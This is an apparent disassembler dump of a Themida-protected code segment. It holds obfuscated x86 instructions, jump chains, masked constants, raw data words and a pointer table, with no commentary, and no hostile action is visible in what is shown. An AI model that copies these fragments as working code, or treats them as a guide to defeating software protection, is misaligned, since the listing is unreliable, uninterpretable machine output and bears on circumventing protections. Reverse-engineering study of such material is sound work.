dd 6687CF80h, 0E913F468h, 0FFFF7C17h, 240C8B66h, 291F68h
dd 0FBA5E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F342: ; CODE XREF: Themida_:0054C09Dj
mov esi, [esp]
add esp, 4
push dword ptr [edi+eax*4]
push dword ptr [esp]
mov eax, [esp]
jmp loc_54C122
; ---------------------------------------------------------------------------
loc_54F359: ; CODE XREF: Themida_:00548F4Fj
xor esi, edi
pop edi
and ecx, esi
jmp loc_549E04
; ---------------------------------------------------------------------------
db 83h
dd 2FE904C4h
db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F36B: ; CODE XREF: Themida_:0054BC84j
add edx, 0BF4EBBh
xor edx, 3FA470FCh
jmp loc_54F2FC
; ---------------------------------------------------------------------------
dd 3ACE815Dh, 8162E26Ch, 0EF6D3AEEh, 5EF00163h, 3304C083h
dd 4312404h, 24043324h, 4C4835Ch, 79C46853h, 8F540000h
dd 4812404h, 424h, 0BE565B00h, 4, 71E9F301h, 68FFFF63h
dd 1CE9h, 0B1240C89h, 0C0C9FE53h, 0F18007E1h, 0E8F18075h
dd 0B753E1D0h, 0DEC780E7h, 0DFF780h, 5AE95BF9h, 28FFFFEBh
dd 5AA604F0h, 4EC81h, 4E90000h, 81FFFFEBh, 621C02EBh, 81C32927h
dd 621C02C3h, 0C3015827h, 8904EC83h, 56512404h, 0A30BF68h
dd 3BE95E19h, 0C1FFFF8Bh, 814202EAh, 36E6D0C2h, 5AD701EFh
dd 2474FF57h, 48F5F04h, 4F2AE924h, 8B66FFFFh, 54522404h
dd 0FF899CE9h, 45DEE9FFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F442: ; CODE XREF: Themida_:00548991j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push ecx
mov ecx, 21FA4A00h
push esi
mov esi, 690C69C6h
inc esi
jmp loc_54518A
; ---------------------------------------------------------------------------
dd 8102EEC1h, 0CF9B89C6h, 0C693E9EFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F472: ; CODE XREF: Themida_:0054BDC7j
sub eax, 40312D3Ah
jmp loc_543E9E
; ---------------------------------------------------------------------------
dd 4C481h, 88510000h, 0F89FE9C1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F48A: ; CODE XREF: Themida_:0054D5E3j
push eax
mov eax, 771700C9h
xor ebp, eax
pop eax
xor ebx, ebp
jmp loc_547436
; ---------------------------------------------------------------------------
loc_54F49A: ; CODE XREF: Themida_:0054AB1Ej
shr ecx, 5
push ebx
mov ebx, 63E241E4h
xor ebx, 18555203h
or ecx, ebx
pop ebx
push ebx
jmp loc_5445C2
; ---------------------------------------------------------------------------
dw 0D5F7h
dd 9C43ED81h, 0EB292868h, 148B665Dh, 6C956824h, 4890000h
dd 55585424h, 4BDh, 50D20500h, 83E93CB5h
db 75h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F4DB: ; CODE XREF: Themida_:0054A11Aj
add ecx, 0F0C3BDEh
and ecx, 3C0F6E91h
jmp loc_545A75
; ---------------------------------------------------------------------------
loc_54F4EC: ; CODE XREF: Themida_:0054FBB0j
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_54DACA
; ---------------------------------------------------------------------------
dd 247C015Ah, 24448104h, 0D074EA04h, 348B5F7Dh, 0D2F6E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F516: ; CODE XREF: Themida_:0054B297j
xor edx, edi
xor edi, edx
sub esp, 4
jmp loc_546B8C
; ---------------------------------------------------------------------------
dw 8950h
dd 405E0h, 9DE90000h, 8BFFFFA3h, 0C483241Ch, 7D02E904h
dd 0B951FFFFh, 5C503CDDh, 4941D1F7h, 5DA1C181h, 814198F1h
dd 135794E1h, 0F6C18172h, 814E242Fh, 0D06BCEF1h, 0E9CF014Fh
dd 0FFFFE20Eh
; ---------------------------------------------------------------------------
loc_54F564: ; CODE XREF: Themida_:00547D34j
not esi
push esi
inc dword ptr [esp]
jmp loc_548E00
; ---------------------------------------------------------------------------
db 29h
dd 13C681DEh, 5B313432h, 0FF743DE9h, 2434FFFFh, 8124048Bh
dd 4C4h, 567BE900h, 68FFFFh, 89000072h, 2CE9240Ch
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F59B: ; CODE XREF: Themida_:00548FB3j
add ebx, edx
push edi
push ebx
mov ebx, 3C945BA4h
mov edi, ebx
pop ebx
sub ebx, edi
pop edi
mov ecx, [ebx]
pop ebx
pop edx
push esi
sub esp, 4
mov [esp], ecx
mov ecx, 9315FE4h
shl ecx, 8
sub ecx, 1
xor ecx, 3F0D1E9Ah
push eax
jmp loc_54C978
; ---------------------------------------------------------------------------
db 0FFh
dd 53582434h, 4EC81h, 24890000h, 24048324h, 0C3815B04h
dd 4, 4EB81h, 1C870000h, 0A59CE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F5F6: ; CODE XREF: Themida_:0054FA6Cj
add ebx, 0FFFFFFFFh
shl ebx, 4
sub ebx, 20577C04h
jmp loc_5450C2
; ---------------------------------------------------------------------------
db 89h
dd 4C681E6h, 0E9000000h, 0FFFFAB9Ah
; ---------------------------------------------------------------------------
loc_54F614: ; CODE XREF: Themida_:005499E2j
pop esi
jmp loc_54D94D
; ---------------------------------------------------------------------------
dw 8951h
dd 4C181E1h, 83000000h, 0C8704C1h
db 24h, 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_548DB7
; ---------------------------------------------------------------------------
dw 0EC83h
dd 243C8904h, 0FFB02DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F63D: ; CODE XREF: Themida_:0054B580j
mov ah, 47h
push ebx
mov bl, 0BEh
and ah, bl
pop ebx
jmp loc_54B894
; ---------------------------------------------------------------------------
dw 8B66h
dd 6E92404h, 68FFFFD6h, 4CCEh, 0FF4E1CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F65D: ; CODE XREF: Themida_:0054C3EBj
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_543B05
; ---------------------------------------------------------------------------
dw 0FA29h
dd 0FF45BFE9h, 0F7DDF7FFh, 49E957D5h
db 73h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F67F: ; CODE XREF: Themida_:0054C807j
push eax
pop ebx
pop eax
jmp loc_549D23
; ---------------------------------------------------------------------------
db 31h
dd 3C33243Ch, 24248B24h, 9C2424D3h, 0FF4387E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54F699: ; CODE XREF: Themida_:00549A6Ej
add esp, 4
xor [esp], esi
xor esi, [esp]
xor [esp], esi
jmp loc_545B89
; ---------------------------------------------------------------------------
dw 515Ch
dd 2B9h, 59CA0100h, 8B241487h, 24D22424h, 5DE99C24h
db 43h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F6C3: ; CODE XREF: Themida_:0054993Bj
add esi, 49882C7Dh
pop edi
jmp loc_54945B
; ---------------------------------------------------------------------------
db 0FEh
dd 3CF380C3h, 0FEB5EB80h, 9BE380C3h, 28BEEB80h, 0DFE95BD8h
dd 0FFFFFFA3h, 34FF2434h, 5FE95824h
db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F6F3: ; CODE XREF: Themida_:005462D2j
sub ecx, 6CF56967h
push eax
mov eax, 4138080Bh
not eax
add eax, 1
sub eax, 0A0BE83BBh
sub ecx, eax
jmp loc_54C691
; ---------------------------------------------------------------------------
loc_54F712: ; CODE XREF: Themida_:00547B7Fj
add edx, eax
add [edx], esi
pop edx
jmp loc_54A1DB
; ---------------------------------------------------------------------------
loc_54F71C: ; CODE XREF: Themida_:00544A42j
add edi, 175C2F45h
add edi, edx
sub edi, 175C2F45h
mov edx, [esp]
jmp loc_54C2C4
; ---------------------------------------------------------------------------
dw 8B66h
dd 7AE9240Ch, 81FFFF6Fh, 2EBh, 241C8700h, 1489665Ch, 9C506624h
dd 0FF42CFE9h, 7E7C1FFh, 0C839F781h, 0E9575DF5h, 0FFFF849Bh
dd 5724048Fh, 0FFDB02E9h, 685253FFh, 1C5E708Bh, 0FAF2815Ah
dd 5172357Ch, 0E7558FB9h, 59CA2904h, 4DE9D2F7h, 81FFFF5Bh
dd 4C4h, 0D8E95100h
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F793: ; CODE XREF: Themida_:0054E7B8j
mov ecx, 770B30C6h
jmp loc_54BF97
; ---------------------------------------------------------------------------
db 0BFh, 62h, 59h
dd 0F7813D28h, 3D285960h, 24048157h, 282A3482h, 82EB815Bh
dd 5F282A34h, 90E9DA01h, 0C1FFFF9Ah, 0C38108EBh, 3F3B3503h
dd 0FF502FE9h, 0B75BB2FFh, 5AD7288Ah, 80FFEF80h, 1EE955CFh
dd 54FFFFC1h, 96CFE95Eh, 8B5AFFFFh, 0C4832404h, 4EC8304h
dd 0BE243489h, 3DCE00ADh, 7E64352Dh, 0C418E913h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F802: ; CODE XREF: Themida_:00544C78j
xor edi, 719642FEh
neg edi
jmp loc_547E6C
; ---------------------------------------------------------------------------
db 5Fh
dd 0FFC078E9h, 2404FEFFh, 4202E99Ch, 0C89FFFFh, 62BE5624h
dd 0E957D029h, 0FFFF7BACh, 0E78957ACh, 4C781h, 0BE560000h
dd 4, 575EF729h, 42474FFh, 83243C8Bh, 48F04C4h, 24248B24h
dd 52241C89h, 0FF6681E9h, 0C8966FFh, 6917E924h, 9F68FFFFh
dd 8B697764h, 0C483242Ch, 0A9E95504h
db 9Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F873: ; CODE XREF: Themida_:0054C990j
mov ebp, 0C925E80Bh
sub ecx, ebp
pop ebp
mov esi, ecx
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add esi, 0FFFFFFFFh
jmp loc_548F49
; ---------------------------------------------------------------------------
dd 0B252812Ch, 0C0DAF6D5h, 0F28007E2h, 80C2FE2Bh, 0D10461F2h
dd 0E4E9D000h, 81FFFFB7h, 0BB4A65CDh, 1FC5812Fh, 81504430h
dd 1C0458C6h, 0BC78E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F8CE: ; CODE XREF: Themida_:00546B11j
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
jmp loc_54790D
; ---------------------------------------------------------------------------
dw 0D0BFh
dd 31360B7Eh, 0E904247Ch, 0FFFF5F05h, 5C240487h, 0FF6E68E9h
dd 24248BFFh, 240CD366h, 411AE99Ch, 0BA52FFFFh, 25A265F0h
dd 0FFCB22E9h, 9C5066FFh, 0FF4107E9h, 0BA525EFFh, 5720249Ah
dd 0E7E9D329h
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F927: ; CODE XREF: Themida_:00545947j
shl ecx, 7
add ecx, 426728BDh
xor ecx, 0AA77B7D9h
xor esi, ecx
jmp loc_54C383
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 83C0E904h, 0EE81FFFFh, 679B24F6h, 4C6815Ah, 0E9000000h
dd 0FFFF9A79h, 24048B66h, 1D7A68h, 0CA7AE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54F966: ; CODE XREF: Themida_:00549513j
dec ecx
dec ecx
add ecx, 0DE63B7Fh
jmp loc_54BC12
; ---------------------------------------------------------------------------
db 1
dd 354F05F0h, 348B4484h, 4C48324h, 5C240487h, 0F66F1F6h
dd 8952CCB6h, 4C281E2h, 83000000h, 3C8904ECh, 2BF24h, 0FA290000h
dd 5F2434FFh, 0FFCB94E9h, 555758FFh, 0A5216DBDh, 1F4CBF16h
dd 0A1E9419Eh, 80FFFF69h, 5253E3F2h, 0FFFE08E9h, 6656BFFFh
dd 0B1E971ABh, 5EFFFFA4h, 0FF404BE9h, 0B6CE81FFh, 812E9C7Ah
dd 0F4615FC6h, 5EF201DEh, 0F751CA87h, 87592414h, 0E3C281CAh
dd 1B800B5h, 2434FFD3h, 4C4835Ah, 0FFFD3AE9h, 24048FFFh
dd 0FF7F72E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FA09: ; CODE XREF: Themida_:00546F86j
pop esp
add dx, 5480h
add ax, 0D6h
sub ax, 699Ah
add ax, dx
add ax, 699Ah
jmp loc_54D183
; ---------------------------------------------------------------------------
db 35h
dd 2839B7C6h, 34FFC289h, 0C4815824h, 4, 159CA01h, 8B028BFAh
dd 0C4812414h, 4, 1FDE6851h, 0A6E979CBh, 68FFFF94h, 5C9D7BA6h
dd 0FF4D9DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54FA59: ; CODE XREF: Themida_:00546D80j
or eax, ebp
push dword ptr [esp]
jmp loc_544F95
; ---------------------------------------------------------------------------
loc_54FA63: ; CODE XREF: Themida_:0054E475j
xor edx, 5D303BD3h
mov ebx, edx
pop edx
jmp loc_54F5F6
; ---------------------------------------------------------------------------
loc_54FA71: ; CODE XREF: Themida_:005472CBj
push 6E37h
mov [esp], ebx
mov ebx, 401C7AEFh
sub [esp+8], ebx
mov ebx, [esp]
add esp, 4
push dword ptr [esp]
pop ebp
add esp, 4
pop dword ptr [edi+24h]
loc_54FA98: ; CODE XREF: Themida_:0054EAA2j
push 4720h
mov [esp], edx
mov edx, ebx
sub esp, 4
mov [esp], ebp
mov ebp, edx
sub esp, 4
mov [esp], ebp
pop eax
mov ebp, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_545DED
; ---------------------------------------------------------------------------
db 0FFh
dd 505B2434h, 0A8E95854h, 80FFFF77h, 0F188DFF6h, 0FECFB25Ah
dd 0B65DE9C2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FAE2: ; CODE XREF: Themida_:0054B7B7j
push esi
pop ecx
push esi
mov esi, ecx
jmp loc_54A231
; ---------------------------------------------------------------------------
dd 4EC81h, 1C890000h, 0E9E38924h, 0FFFFB592h, 24148B66h
dd 66EA68h, 24348900h, 0E955E689h, 0FFFF9B75h, 8124348Bh
dd 4C4h, 75C0E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FB1E: ; CODE XREF: Themida_:0054A617j
add eax, ecx
jmp loc_5445C9
; ---------------------------------------------------------------------------
db 66h, 0FFh, 32h
dd 0FF3EF3E9h, 53EE80FFh, 0FFE082E9h, 0C8750FFh, 87D1F724h
dd 34FF240Ch, 24048B24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_544770
; ---------------------------------------------------------------------------
loc_54FB52: ; CODE XREF: Themida_:0054BF9Dj
inc ecx
jmp loc_5479ED
; ---------------------------------------------------------------------------
loc_54FB58: ; CODE XREF: Themida_:0054B4A2j
xchg ebp, [esp]
pop esp
shl esi, 5
xor esi, 10020004h
add ecx, esi
pop esi
add ecx, 4
xor ecx, [esp]
jmp loc_54D925
; ---------------------------------------------------------------------------
loc_54FB76: ; CODE XREF: Themida_:0054EA2Aj
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_543A20
; ---------------------------------------------------------------------------
loc_54FB82: ; CODE XREF: Themida_:00549D25j
and ebx, 63D97DC7h
sub ebx, 210921A6h
mov edx, ebx
pop ebx
push eax
sub esp, 4
mov [esp], edx
mov edx, 339F620Ah
mov eax, edx
pop edx
sub edx, eax
pop eax
add edx, edi
add edx, 339F620Ah
push dword ptr [edx]
jmp loc_54F4EC
; ---------------------------------------------------------------------------
db 56h, 0BEh, 95h
dd 0E93E2D2Ch, 0FFFFBDEEh, 0C281E289h, 4, 6187B951h, 0E1815769h
dd 704D0C49h, 5802C981h, 81493484h, 32A802C1h, 59CA018Bh
dd 5C241487h, 0E904C483h, 0FFFFEC64h, 7FFE0304h, 0FFFF9BCCh
dd 0FFFF9BC8h, 546B08EBh, 5A7468h, 5A1C2Bh, 0FA50BC74h
dd 207h, 2, 2 dup(1), 0FA50BC74h, 5 dup(0)
dd offset word_559C96
dd offset word_56067E
dd offset byte_55DEC3
dd offset dword_55FD68
dd offset word_55CA72
dd offset byte_561CA1
dd offset aNh0_0 ; "hÔ0"
dd offset byte_564A9D
dd offset word_563B4A
dd offset byte_550DA9
dd offset byte_562EED
dd offset byte_560513
dd offset dword_556254
dd offset byte_556E91
dd offset dword_559CB8
dd offset word_561426
dd offset off_558855
dd offset byte_5648AD
dd offset word_55FED2
dd offset byte_552B81
dd offset byte_55D273
dd offset aQs ; "QéÁ("
dd offset dword_5619D8
dd offset byte_55E4E1
dd offset dword_55B160
dd offset dword_55FD0C
dd offset byte_5523EB
dd offset byte_558DCB
dd offset dword_55EDDC
dd offset dword_5539BC
dd offset dword_5509E0
dd offset word_55075E
dd offset off_55F1FF
dd offset byte_555C49
dd offset word_557C26
dd offset byte_55D247
dd offset dword_55C8E0
dd offset byte_553A55
dd offset dword_55204C
dd offset word_563D72
dd offset dword_5539C4
dd offset byte_550827
dd offset word_55A926
dd offset word_55E6DA
dd offset byte_55CD97
dd offset dword_5582E8
dd offset word_563512
dd offset word_560492
dd offset word_551D76
dd offset aMrRaHsmi ; "¬R²€êHémI"
dd offset byte_564C8D
dd offset dword_55C63C
dd offset word_55F962
dd offset byte_557B0B
dd offset byte_5565A3
dd offset dword_5579A8
dd offset byte_559855
dd offset byte_5653FD
dd offset word_561AC2
dd offset aMqhr ; "¬Qhà\a"
dd offset byte_5581F1
dd offset byte_559B7F
dd offset byte_5509C5
dd offset byte_564907
dd offset byte_550313
dd offset dword_552A48
dd offset byte_5641C5
dd offset byte_5569F3
dd offset dword_551900
dd offset dword_555D50
dd offset byte_5542C5
dd offset byte_558955
dd offset dword_561234
dd offset dword_55C37C
dd offset word_556EF2
dd offset word_55ADAE
dd offset aMh ; "¬hÃ~"
dd offset byte_564273
dd offset word_55F606
dd offset dword_56235C
dd offset byte_551AC3
dd offset dword_5584E0
dd offset byte_55B7F3
dd offset word_55D23E
dd offset byte_55F31F
dd offset word_550BAE
dd offset byte_55DCB5
dd offset word_55F552
dd offset word_553042
dd offset byte_555303
dd offset dword_5626C4
dd offset byte_5554C7
dd offset byte_556665
dd offset aN1Ha ; "1Øh]"
dd offset word_565576
dd offset dword_55CAEC
dd offset byte_553675
dd offset word_55A932
dd offset byte_55BD0B
dd offset byte_554B03
dd offset word_55E8C6
dd offset word_55145E
dd offset dword_555838
dd offset dword_55C0C4
dd offset byte_559675
dd offset dword_5627E4
dd offset byte_558997
dd offset dword_563934
dd offset dword_5517AC
dd offset byte_550D3F
dd offset byte_55FB99
dd offset dword_5564DC
dd offset byte_550AB7
dd offset word_55E69E
dd offset word_55EF06
dd offset dword_550040
dd offset byte_558AE9
dd offset dword_55C488
dd offset byte_55A7D3
dd offset dword_553594
dd offset aNh4 ; "h4+"
dd offset byte_55D4EF
dd offset dword_5587BC
dd offset word_55D70E
dd offset byte_5535A1
dd offset dword_557C0C
dd offset word_55E92E
dd offset aNsP ; "é#¯"
dd offset byte_5540E9
dd offset dword_560D7C
dd offset word_550AFE
dd offset byte_555AF1
dd offset byte_555BCD
dd offset dword_55B720
dd offset aNups6 ; "UPé6š"
dd offset dword_558CFC
dd offset dword_559078
dd offset byte_55F9D9
dd offset byte_5543C3
dd offset word_55C54E
dd offset dword_55F724
dd offset word_551D6E
dd offset byte_55182D
dd offset byte_555A85
dd offset byte_563B9F
dd offset word_551D02
dd offset aM0Hr ; "¬0Øhr-"
dd offset byte_553555
dd offset byte_55DA6D
dd offset byte_555E3F
dd offset byte_55AE1B
dd offset word_555066
dd offset byte_5618AF
dd offset word_563486
dd offset dword_55E7F8
dd offset word_559776
dd offset byte_5626A5
dd offset word_55575A
dd offset byte_561F3D
dd offset dword_563708
dd offset word_5506FA
dd offset dword_551B08
dd offset word_556FC6
dd offset byte_55C171
dd offset byte_5539E1
dd offset dword_553370
dd offset word_558332
dd 0E8FC9C60h, 0
dd 64EF815Fh, 8B060442h, 7CC781C7h, 3B06043Fh, 2752C47h
dd 478913EBh, 0A7B92Ch, 5EB0000h, 408F4401h, 75C90B49h
dd 24748BF7h, 3DE8B24h, 1B9F0h, 0C0330000h, 4FB10FF0h
db 30h, 75h, 0F7h
; ---------------------------------------------------------------------------
loc_54FF17: ; CODE XREF: Themida_:0055002Ej
; Themida_:0055192Bj ...
lodsb
xor al, bl
push ecx
jmp loc_5653C3
; ---------------------------------------------------------------------------
loc_54FF20: ; CODE XREF: Themida_:005569EEj
or eax, ebx
pop ebx
push edx
push 850281C3h
pop edx
push esi
mov esi, 39B06C95h
sub eax, esi
mov esi, [esp]
add esp, 4
add eax, 59642928h
add eax, edx
sub eax, 59642928h
add eax, 39B06C95h
jmp loc_552915
; ---------------------------------------------------------------------------
loc_54FF4E: ; CODE XREF: Themida_:00554BD4j
pop esi
jmp loc_560DFE
; ---------------------------------------------------------------------------
dd 24048F54h, 5EE168h, 240C8900h, 385EE9h, 4FE18100h, 0E948791Ah
dd 40D1h
; ---------------------------------------------------------------------------
loc_54FF70: ; CODE XREF: Themida_:00551BF9j
add esp, 4
add eax, edi
mov ecx, [eax]
pop eax
jmp loc_55D815
; ---------------------------------------------------------------------------
loc_54FF80: ; CODE XREF: Themida_:0055EB78j
push ecx
mov ecx, 5E44601Ah
shr ecx, 8
not ecx
not ecx
push ecx
push ebx
jmp loc_5620DA
; ---------------------------------------------------------------------------
aLbk?s db '¾‹bK?éÆÄ',0
align 2
loc_54FF9E: ; CODE XREF: Themida_:00557279j
mov edi, esp
push edx
mov edx, 7CAC40CDh
push ebp
mov ebp, 5DD0500Dh
jmp loc_552728
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 81000000h, 4C7h, 0B07E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54FFC2: ; CODE XREF: Themida_:00558F03j
add edx, 34865EEAh
jmp loc_5638F4
; ---------------------------------------------------------------------------
aSqi db '^éQˆ',0
db 0
; ---------------------------------------------------------------------------
loc_54FFD3: ; CODE XREF: Themida_:00561066j
mov edx, 13192E75h
push edi
jmp loc_5518D3
; ---------------------------------------------------------------------------
loc_54FFDE: ; CODE XREF: Themida_:0055CA51j
pop ebp
jmp loc_559D86
; ---------------------------------------------------------------------------
dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0DCBB241Ch, 83232F32h
dd 0E3C1FFEBh, 0ADB85002h, 0E910C00Eh, 14A13h, 815EF209h
dd 1FFBDAEAh, 2FEF8142h, 51172F5Fh, 1103E9h
db 0
; ---------------------------------------------------------------------------
loc_550021: ; CODE XREF: Themida_:00551B3Ej
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov fs:[edx], ax
jmp loc_54FF17
; ---------------------------------------------------------------------------
loc_550033: ; CODE XREF: Themida_:0055C1CEj
sub edx, eax
jmp loc_55B865
; ---------------------------------------------------------------------------
loc_55003A: ; CODE XREF: Themida_:0055BA32j
push edx
jmp loc_559DB2
; ---------------------------------------------------------------------------
dword_550040 dd 240C8B66h, 815E5456h, 4C6h, 4EE8300h, 4BFCE9h
; DATA XREF: Themida_:0054FE00o
db 0
; ---------------------------------------------------------------------------
loc_550055: ; CODE XREF: Themida_:00554308j
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push 73326D49h
jmp loc_55FDF7
; ---------------------------------------------------------------------------
loc_550071: ; CODE XREF: Themida_:0055AB2Fj
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 4901h
mov [esp], ecx
mov ecx, esp
add ecx, 4
push edi
jmp loc_554D0F
; ---------------------------------------------------------------------------
dd 5624148Bh, 0C681E689h, 4, 0DF07E9h
db 0
; ---------------------------------------------------------------------------
loc_5500AD: ; CODE XREF: Themida_:00562F29j
mov bh, dl
jmp loc_56483F
; ---------------------------------------------------------------------------
loc_5500B4: ; CODE XREF: Themida_:00557D2Cj
add ebx, 4
xor ebx, [esp]
jmp loc_55FDE4
; ---------------------------------------------------------------------------
dw 0C2FEh
dd 0EAD0DAF6h, 8050EA80h, 0E5E90BECh, 81000132h, 4C4h
dd 8B95100h, 0E9241778h, 5B3Bh, 4F69E95Dh, 0C4810000h
dd 4, 6A0468h, 243C8900h, 63D86852h, 815A67FAh, 272813CAh
dd 4AE95520h
db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55010B: ; CODE XREF: Themida_:0055E5CAj
pop edx
sub edx, 7C153843h
jmp loc_55D3FF
; ---------------------------------------------------------------------------
db 53h
dd 0C381E389h, 4, 4C381h, 1C870000h, 24248B24h, 0E904C483h
dd 0FFFFFDE3h, 0CD81D5F7h, 3FAE01D5h, 0FD3CE9h
db 0
; ---------------------------------------------------------------------------
loc_550141: ; CODE XREF: Themida_:00551828j
mov edx, 31EC7258h
inc edx
add edx, 357D9B90h
add ebx, 52957130h
sub ebx, edx
sub ebx, 52957130h
pop edx
add ecx, ebx
pop ebx
sub esp, 4
mov [esp], ebx
mov ebx, 7DC15130h
jmp loc_55BE25
; ---------------------------------------------------------------------------
loc_550172: ; CODE XREF: Themida_:00553832j
push 3C764F59h
pop ecx
shr ecx, 7
dec ecx
add ecx, 4EEA8A5Eh
mov edi, ecx
jmp loc_55F28F
; ---------------------------------------------------------------------------
db 28h, 0C7h, 58h
dd 0CFFE5966h, 63B151h, 0BE959CFh
db 72h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55019B: ; CODE XREF: Themida_:00558E70j
mov bh, al
mov eax, [esp]
jmp loc_554DC0
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C4815Eh, 81000000h, 4C6h, 4C68300h, 0E9243433h, 13A72h
dd 0C681C629h, 6A3231AEh, 24348758h, 114D1E9h, 240C3100h
dd 8B240C33h, 0FF662424h, 0E99C240Ch, 0FFFFFD33h, 8008E7C0h
dd 5266FFC7h, 44FDE9h
db 0
; ---------------------------------------------------------------------------
loc_5501F1: ; CODE XREF: Themida_:0055ADF0j
add ebp, 4
xor ebp, [esp]
jmp loc_55AF76
; ---------------------------------------------------------------------------
aFiSF db 'f‰ÃéÛf',0
align 4
dd 8758C201h, 535C2414h, 0B55160B3h, 0F0ED80F0h, 5AE9D5F6h
db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55021B: ; CODE XREF: Themida_:00554D31j
mov eax, esi
pop esi
jmp loc_5654DD
; ---------------------------------------------------------------------------
db 8Fh
dd 71E92404h, 560000E6h, 346346BEh, 4EC833Eh, 0BA241489h
dd 7BA02CF0h, 148BD629h, 4C48124h, 0C1000000h, 0D6F703EEh
dd 4591BA52h, 0EAC16482h, 4A1E908h, 0CF010001h, 0FFC2E953h
dd 1590000h, 0FF515FF9h, 59042474h, 10502E9h, 0BF575B00h
dd 4, 875FF901h, 0E95C240Ch, 0BF10h, 4C281h, 0C2830000h
dd 24148704h, 4EC815Ch, 0E9000000h, 0B081h, 797275BEh
dd 116DE941h, 8B660001h, 6852241Ch, 2BC9h, 83242489h, 5A042404h
dd 4DB1E9h, 7E0C100h, 4A8CE9h, 0A7E95C00h, 0F7000077h
dd 3BEE9DFh, 1BB90000h, 0E9305039h, 11C88h, 0B3241C89h
dd 6EC38076h, 0E93FF380h, 111A0h, 3FC5805Ah, 0ED80DD28h
dd 241C8B3Fh, 4C481h, 0EB280000h, 66B3E9h
db 0
; ---------------------------------------------------------------------------
loc_550305: ; CODE XREF: Themida_:00550A23j
sub edx, 9610756h
sub esi, edx
pop edx
jmp loc_561A6D
; ---------------------------------------------------------------------------
byte_550313 db 0ACh ; DATA XREF: Themida_:0054FD34o
dd 1F68D830h, 89000001h, 6CB22414h, 34FFD028h, 59685A24h
dd 0E900006Fh, 0BC85h
; ---------------------------------------------------------------------------
loc_550330: ; CODE XREF: Themida_:0055677Dj
pop ecx
push edx
mov edx, esp
add edx, 4
push esi
mov esi, 2F142042h
shr esi, 2
neg esi
jmp loc_55B5C3
; ---------------------------------------------------------------------------
loc_55034A: ; CODE XREF: Themida_:00557424j
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 5C7E6AD3h
jmp loc_55FF18
; ---------------------------------------------------------------------------
loc_550361: ; CODE XREF: Themida_:00556A45j
sub edx, ebp
sub edx, 24353050h
pop ebp
jmp loc_55DFFE
; ---------------------------------------------------------------------------
db 5Eh
dd 3F0EEA81h, 0C2012393h, 3F0EC281h, 81582393h, 4ECh, 241C8900h
dd 4BBh, 0E9DA2900h, 14E4Fh, 0DAC6E958h, 0EC810000h, 4
dd 12192E9h
db 0
; ---------------------------------------------------------------------------
loc_5503A5: ; CODE XREF: Themida_:0055A96Ej
push ebx
mov ebx, 0B295CC4h
jmp loc_55A38A
; ---------------------------------------------------------------------------
dd 0E904EC83h, 0BEE9h, 1366C4B9h, 0BDE1815Ch, 680A8903h
dd 0
dd 0F2D5E9h
db 0
; ---------------------------------------------------------------------------
loc_5503CD: ; CODE XREF: Themida_:00560975j
xchg edi, [esp]
pop esp
mov [esp], esi
mov esi, esp
add esi, 4
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], ebp
push edi
mov edi, 4
mov ebp, edi
pop edi
push 4E79h
mov [esp], ebp
add dword ptr [esp], 626E1FBCh
jmp loc_55A2F3
; ---------------------------------------------------------------------------
db 81h, 0C3h, 0E2h
dd 81766F79h, 0C53FA0C3h, 0B9515D70h, 4, 5EE7C381h, 0CB013AE5h
dd 5EE7EB81h, 0C8B3AE5h, 4C48124h, 0E9000000h, 14AF0h
dd 282C2EBEh, 0BFFE923h
db 2 dup(0)
